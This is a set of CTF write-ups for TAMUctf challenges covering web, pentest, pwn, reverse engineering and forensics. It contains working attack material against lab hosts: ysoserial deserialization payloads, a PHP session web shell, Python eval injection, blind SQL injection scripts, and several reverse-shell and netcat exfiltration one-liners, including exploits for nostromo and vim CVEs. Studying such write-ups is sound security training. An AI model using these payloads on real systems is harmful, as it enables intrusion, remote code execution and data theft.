Web
Too many credits 1
Okay, fine, there’s a lot of credit systems. We had to put that guy on break; seriously concerned about that dude. Anywho. We’ve made an actually secure one now, with Java, not dirty JS this time. Give it a whack? If you get two thousand million credits again, well, we’ll just have to shut this program down.
The page shows us a counter of credits and lets us increment it by one clicking on a button.
Counter state is saved in a cookie named counter=H4sIAAA.../.../...A==
.
The first fours characters of every cookie, H4sI
, points to gzip compressed data.
Decompressing the cookie gets access to a plain text serialization of the Java Class.
Only need to modify the value and compress it back.
import gzip
import base64
import zlib
gzip.decompress(base64.b64decode("H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAABwAU254bUgAAAA=="))
# b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\x00\x00\x00\x08'
moreCredits = b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\xFF\xFF\xFF\xFF'
base64.b64encode(gzip.compress(moreCredits))
# b'H4sIAKpBdl4C/1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMADBfyAAAMVz/stSAAAA'
Changing the cookie in the browser, the counter shows more that 2000M credits and the flag.
🏁 gigem{l0rdy_th15_1s_mAny_cr3d1ts}
Too many credits 2
Okay, fine, there’s a lot of credit systems. We had to put that guy on break; seriously concerned about that dude. Anywho. We’ve made an actually secure one now, with Java, not dirty JS this time. Give it a whack? If you get two thousand million credits again, well, we’ll just have to shut this program down.
As the previous credits releated challenge, we are presented a simple webpage with a counter and a button that, when clicked, increments our credit bucket. Setting the credit counter to 2kkk manually is not the solution.. not this time. As we see a serialized java class as the cookie that controls our credit count, we can suppose this class is deserialized remotely using some insecure methods. As a first step, as always, lets try to break it and hope we can retrieve some information regarding the framework used. If we try to modify the cookie replacing some chars with random data, the server obviously fails deserializing the class and gives us the following error. Hmm, whitelabel error ? Lets search for it. Perfect, Java Spring Boot. If you’re crafty enough you can recognize spring boot icon in browser’s tab title. Lets search for deserialization vulns for this framework. As we searched, we stumbled upon this damn cool tool ysoserial. This tool exploits unsafe unserialization to create POP gadget chains that can lead to RCE on a vulnerable server. After cloning and building it, we can try out some payloads and see how the server responds. This tools supports a lot of vulnerable modules.
[...]
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
[...]
As we cannot enumerate the modules on the server, lets try directly with Spring1. The syntax for the payload generator is:
java -jar ysoserial.jar Spring1 "OUT_COMMAND"
Lets try to execute a nslookup and see if the requests pass:
curl --cookie "counter=$(ysoserial Spring1 'nslookup outserver.com' | gzip | base64 -w 0)" "http://172.17.0.2:8080"
And surprisingly we receive a DNS resolution request on our server! Good, now lets try to open a reverse shell:
curl --cookie "counter=$(ysoserial Spring1 'nc 172.17.0.1 4444 -e /bin/bash' | gzip | base64 -w 0)" "http://172.17.0.2:8080"
With us listening on the over side:
nc -nlvp 4444
Et voilà, we have our reverse shell and can cat for the flag situated at /opt/credits-1.0.0-SNAPSHOT/flag.txt
🏁 gigem{da$h_3_1s_A_l1f3seNd}
filestorage
Try out my new file sharing site! http://172.17.0.2
Navigating to http://172.17.0.2/index.php gives as a form asking for a name
Let’s try and input something like <strong>foo</strong>. It will get us to a sort of uploads list page. Observe that our name is not escaped.
If we click on one of the list elements we can get that file’s content.
Observe the link that was used to view the page:
http://172.17.0.2/index.php?file=beemovie.txt
Hmm, smells like RFI.
Let’s try something like /index.php?file=../../../../etc/passwd
It works! Seems like index.php?file=filename does something like:
if ($_GET['file']) {
$output = file_get_contents($_GET['file']);
include ($output);
}
This means that we have arbitrary reads. Let’s check if our session files are stored in /tmp/sess_SESSIONID. By trying http://172.17.0.2/index.php?file=../../../../../tmp/sess_imec37rtfcsn9v2p7dd8mqful8 we get our serialized session data.
Observe that our name is in bold, which means no sanitization is applied when registering. We can try to use some php code as our name:
<?php system($_GET["cmd"]); ?>
Now if we navigate to /index.php?file=../../../../../tmp/sess_lavn0ra1jqa7sh2nien1fehhh1&cmd=id we get our id command executed.
Perfect, let’s read the flag!
- Find the flag location:
/index.php?file=../../../../../tmp/sess_lavn0ra1jqa7sh2nien1fehhh1&cmd=find / -name '*flag*' 2>/dev/null
- Read the flag at /flag_is_here/flag.txt
/index.php?file=../../../../../../../../tmp/sess_lavn0ra1jqa7sh2nien1fehhh1&cmd=cat ../../../../../flag_is_here/flag.txt
🏁 gigem{535510n_f1l3_p0150n1n6}
mentalmath
My first web app, check it out!
Navigating to the website we find ourselves in front of a sort of math solver. We have some sort of api behind the static webpage. The api points to /api/new_problem and accepts json payloads like :
{
"problem" : "1+1",
"answer" : "2"
}
Playing with the payload we can observe that if we pass
{
"problem" : "1+1 # Random alphanumeric string",
"answer" : "2"
}
we get no error, as if the # symbol is interpreted as a comment. Digging further we can discover that there is an endpoint to /admin which gives us the classic Django admin login page, which lets us think we are in front of some sort of web application hosted by flask in this case.
Lets try to break it. Whith a payload like below we get an 500 Server Error. Hmm, seems like the server is naively evaluating our input :
{
"problem" : "1 + abc",
"answer" : "2"
}
What happens if we try to read the flag using python code ?
{
"problem" : "open('flag.txt','r').read()#",
"answer" : "1",
}
{"correct": true, "problem": "29 * 53"}
We get a correct answer, interesting. Lets ensure we are reading the flag by trying to read a random non existent file
{
"problem" : "open('flag123.txt','r').read()#",
"answer" : "1",
}
With this payload the server responds with an 500, as expected. From this point on there are several solutions.
- You could easily listen on a port with netcat and pipe the flag :
{
"problem" : "__import__('os').popen('cat flag.txt | nc <attacker-ip> <attacker-port>')",
"answer" : "1",
}
- A more complicated solution would be catching a reverse shell using something like :
{
"problem" : "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",
"answer" : "1",
}
- Or you could like my mosachistic solution which bruteforces each char of the flag and outputs correct only if the character was found. Don’t blame me, I wasn’t aware that you could access the network from within the application :(
#!/bin/python
from time import sleep
import requests
import string
headers = {
'Connection': 'keep-alive',
'Accept': '*/*',
'Origin': 'http://mentalmath.tamuctf.com',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Referer': 'http://mentalmath.tamuctf.com/play/',
'Accept-Language': 'it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7,fr;q=0.6',
}
dic = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!$()-.@[]^_{}"
currentletter = 0
currentdic = 0
result = ""
while 1:
print("[*] Trying {}{}".format(result, dic[currentdic]))
data = {
'problem' : "open('flag.txt','r').read()[{}] == '{}'#".format(currentletter, dic[currentdic]),
'answer': '1',
}
response = requests.post('http://mentalmath.tamuctf.com/ajax/new_problem', headers=headers, data=data, verify=False)
resp = str(response.content)
if '"correct": true' in resp:
print("[*] Found letter : {}".format(dic[currentdic]))
result = result + dic[currentdic]
if dic[currentdic] == '}':
print("[*] Found Flag : {}".format(result))
break
currentdic = 0
currentletter = currentletter + 1
if '"correct": false' in resp:
currentdic = currentdic + 1
if len(dic) == currentdic:
print("[x] Couldn't crack {}-th character, exiting ...")
break
if 'Bad Gateway' in resp:
print("[x] Bad Gatway, should wait 5 seconds ...")
sleep(5)
🏁 gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}
passwordextraction
The owner of this website often reuses passwords. Can you find out the password they are using on this test server?
This challenge welcomes us with a classic login page. Naively trying to login using an SQL injection we succeed! Or did we ? It seems like we need something more creative in order to extract our password. A simple SQLi script written in python will be good enough
#!/bin/python
import requests
import string
headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Origin': 'http://passwordextraction.tamuctf.com',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://passwordextraction.tamuctf.com/',
'Accept-Language': 'it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7,fr;q=0.6',
}
dic = string.ascii_lowercase + string.ascii_uppercase + string.punctuation + string.digits
diclen = len(dic)
found = False
result = ""
for i in range(1, 100):
found = False
for char in dic:
print("[*] Trying {}{}".format(str(result), char))
data = {
'username': "admin",
'password': "' or (SELECT MID(password,{},1) FROM mysql.user LIMIT 3,1)='{}' # ".format(i, char)
}
response = requests.post('http://passwordextraction.tamuctf.com/login.php', headers=headers, data=data, verify=False)
resp = str(response.content)
if "Invalid login info" not in resp:
result = result + char
print("[*] Found char {}".format(char))
print("[*] Current: {}".format(result))
found = True
break
if not found:
print("[X] Couldn't find char at position {}".format(i))
print("[*] Current: {}".format(result))
exit(1)
Go take a coffe and wait for your flag ;)
PS: Strangely our exploit worked even if logically it should have failed as from seeing the docker configuration after the CTF ended we saw that the flag was in a custom table db.accounts and not in mysql.user. Seeing login.php also gave us no clue as it uses :
$sql = "SELECT * FROM accounts WHERE username='$login_user' AND password='$login_pass'";
🏁 gigem{h0peYouScr1ptedTh1s}
Misc
alCapone
[…] he got the disk image of the computer […] Can you help Ness out and find any information to take down the mob boss? (hint: […] he deleted all important data […])
Extract the image from the .xz archive, then simply grep from strings.
xzdec -d WindowsXP.img.xz | strings | grep "gigem{"
🏁 gigem{Ch4Nn3l_1nN3r_3Li0t_N3$$}
blind
nc challenges.tamuctf.com 3424
After connecting to the socket, writing something returns a number. From the numbers (0-OK, 1-ERR, 127-NOT_FOUND) we can guess it executes the command within a shell and retuns the status code.
First, set up a listener nc -lvp 1337
.
nc
isn’t installed on the server since it returns the status code 127, but we can also open a reverse shell with:
/bin/bash -i > /dev/tcp/<our ip>/1337 0<&1 2>&1
🏁 gigem{r3v3r53_5h3ll5}
Alternative method
In case the reverse shell didn’t work, one could have bruteforced every char using ifs.
from pwn import *
import string
conn = remote('challenges.tamuctf.com', 3424)
fmt = '[ $(head flag.txt -c {}) == "{}" ]'
chars = 6
flag = "gigem{"
while True:
chars += 1
for c in string.ascii_lowercase + string.digits + string.ascii_uppercase + '_}{':
print flag+c
conn.sendline(str.format(fmt, chars, flag+c))
status = conn.recvline()
if "0" in status:
flag += c
print flag
if c == "}":
exit()
break
corrupted disk
We’ve recovered this disk image but it seems to be damaged. Can you recover any useful information from it?
Extract all files from recovered_disk.img
.
binwalk --dd=".*" recovered_disk.img
There’s one image that has the flag in plain text.
geography
My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111. She’s always been a bit cryptic. She told me to “surround with gigem{} that which can be seen from a bird’s eye view”… what?
Convert numbers to IEEE754 32 bits floating point.
(-70.249, -18.529)
The coordinates put in google maps take us to Chile, where in the fields theres a logo of the Coca Cola brand.
🏁 gigem{coca-cola}
I need a hacker please!!! My photo was going to get thousands of likes, but it was corrupted 😩.
Reading the header at the beginning of the file, we can find the word Exif
.
This means the photo is a .jpeg not a .png.
Changing the .png signature with a .jpeg one reveals us the photo with flag.
🏁 gigem{cH4nG3_the_f0rMaTxD}
Rev
angrmanagement
nc rev.tamuctf.com 4322
The binary given does a lot of checks agains the input and if they all evaluate to true, it prints the flag.
Angr can be used to try and evaluate the input using Symbolic Execution.
import angr
import claripy
p = angr.Project('./angrmanagement', auto_load_libs=False)
flag = claripy.BVS('flag', 32*8) # 32 is an initial guess
initial_state = p.factory.entry_state(args=['./angrmanagement'], stdin=flag)
# limits the range of characters to use
for b in flag.chop(8):
initial_state.add_constraints(claripy.Or(b == 0x0, claripy.And(b >= 0x21, b <= 0x7e)))
sm = p.factory.simulation_manager(initial_state)
destinationAddr = 0x402345 # addr of printf("flag: ...")
sm.explore(find=destinationAddr)
if len(sm.found) > 0:
s = sm.found[0]
print("flag: ", s.solver.eval(flag, cast_to=bytes).split(b'\0')[0].decode("ascii"))
🏁 gigem{4n63r_m4n463m3n7}
Crypto
Sigma
10320831141252164475480592397410881183128414021520157116851780189419421991209921942315241625302578269728072902300131153236334834643575368637343782389340044129
This was more of a riddle.
You had to find out that each char was converted to int and added together with the previous.
The result of each increment was then printed without spaces.
i.e.
103 208 311 412 ... = 103 + 105 + 103 + 101 + ... = gige...
🏁 gigem{n3v3r_evv3r_r01l_yer0wn_cryptoo00oo}
Pentest
Listen
Connect to vpn
openvpn --config listen.ovpn
Fire up tcpdump and read the flag send to us with UDP packets
tcpdump -i tap0 -A
🏁 gigem{Raunch05_got_el3ctr0lytes}
My first blog
There’s only one host, and it only has port 80 open.
Browsing an error page shows us that the webserver runs on nostromo 1.9.6 which is vulnerable to RCE [CVE-2019-16278].
The vulnerability can be exploited using the python script form exploit-db
or the module exploit/multi/http/nostromo_code_exec
in metasploit.
python2 exploit.py 172.30.0.2 80 'nc -e "/bin/sh" 172.30.0.14 12345'
ps aux
shows that there’s /tmp/start.sh
that’s run by root. It’s used to run nhttpd
and cron
.
In /etc/crontab
there’s a user defined entry
* * * * * root /usr/bin/healthcheck
healthcheck
is owned by root but has 777 permission.
Add cat /root/flag.txt > /tmp/flag.txt
at the end, et voila!
🏁 gigem{l1m17_y0ur_p3rm15510n5}
Obituary_1
Hey, shoot me over your latest version of the code. I have a simple nc session up, just pass it over when you’re ready. You’re using vim, right? You should use it; it’ll change your life. I basically depend on it for everything these days!
Server has port 4321 open.
Reading challenge description, we can assume that there’s a nc session that pipes into vim.
Searching for vim vulnerabilites, lead us to a pretty version-specific vulnerability CVE-2019-12735
echo ':!nc -e /bin/sh 172.30.0.14 4242||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' | nc -ncvv 172.30.0.2 4321
It was the right one and it successfully popped a shell.
cat /home/mwazowski/flag.txt
🏁 gigem{ca7_1s7_t0_mak3_suRe}
Obituary_2
This is a continue of Obituary_1. Root is now required to read 2nd flag
In the home directory there’s note_to_self.txt
which covers the vim vulnerability and reports that apt
is set as NOPASSWD in sudoers.
Let’s get a shell using apt Pre-Invoke
option to execute commands.
$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
...
$ whoami
root
$ cat /root/flag.txt
gigem{...}
🏁 gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
Pwn
Echo as a service
Echo as a service (EaaS) is going to be the newest hot startup! We’ve tapped a big market: Developers who really like SaaS.
This was a basic printf
format exploitation
use “%lx %lx %lx %lx …” to extract the content of the stack where there flag was previously read with fgets().
Inverted order of bytes which are read in little endian and convert to string.
🏁 gigem{3asy_f0rmat_vuln1}
Troll
There’s a troll who thinks his challenge won’t be solved until the heat death of the universe.
Export the number generator from the decompiled c code from ghidra and compile it on its own.
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
void main() {
srand((uint)time((time_t *)0x0));
for (int i = 0; i < 100; i++) {
printf("%d\n", (rand() % 100000 + 1));
}
}
Execute the nc
command at the same time of the extracted number generator.
./num_gen | nc <ip> <port>
🏁 gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!}